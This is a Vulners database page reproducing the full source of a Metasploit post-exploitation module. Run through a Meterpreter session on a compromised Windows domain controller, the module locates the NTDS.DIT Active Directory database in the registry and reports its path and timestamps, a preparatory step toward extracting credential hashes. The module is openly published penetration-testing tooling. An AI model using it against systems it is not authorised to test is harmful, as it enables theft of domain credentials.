Lucene search
K

Post Windows Gather NTDS.DIT Location

🗓️ 15 Dec 2015 21:28:13Reported by Stuart Morgan <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 33 Views

This module finds the NTDS.DIT file location in Windows Registry and verifies its existence for manual acquisition

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Accounts
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Post Windows Gather NTDS.DIT Location',
        'Description' => %q{
          This module will find the location of the NTDS.DIT file (from the Registry),
          check that it exists, and display its location on the screen, which is useful
          if you wish to manually acquire the file using ntdsutil or vss.
        },
        'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'],
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_stat
            ]
          }
        }
      )
    )
  end

  def run
    unless domain_controller?
      print_error('Host does not appear to be an AD Domain Controller')
      return
    end

    # Find the location of NTDS.DIT in the Registry
    ntds = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters', 'DSA Database file')

    unless ntds
      print_error('Unable to find the location of NTDS.DIT')
      return
    end

    if file?(ntds)
      f = client.fs.file.stat(ntds)
      print_line("NTDS.DIT is located at: #{ntds}")
      print_line("      Size: #{f.size} bytes")
      print_line("   Created: #{f.ctime}")
      print_line("  Modified: #{f.mtime}")
      print_line("  Accessed: #{f.atime}")
    else
      print_error("NTDS.DIT is reportedly located at `#{ntds}', but the file does not appear to exist")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Aug 2022 02:16Current
7High risk
Vulners AI Score7
33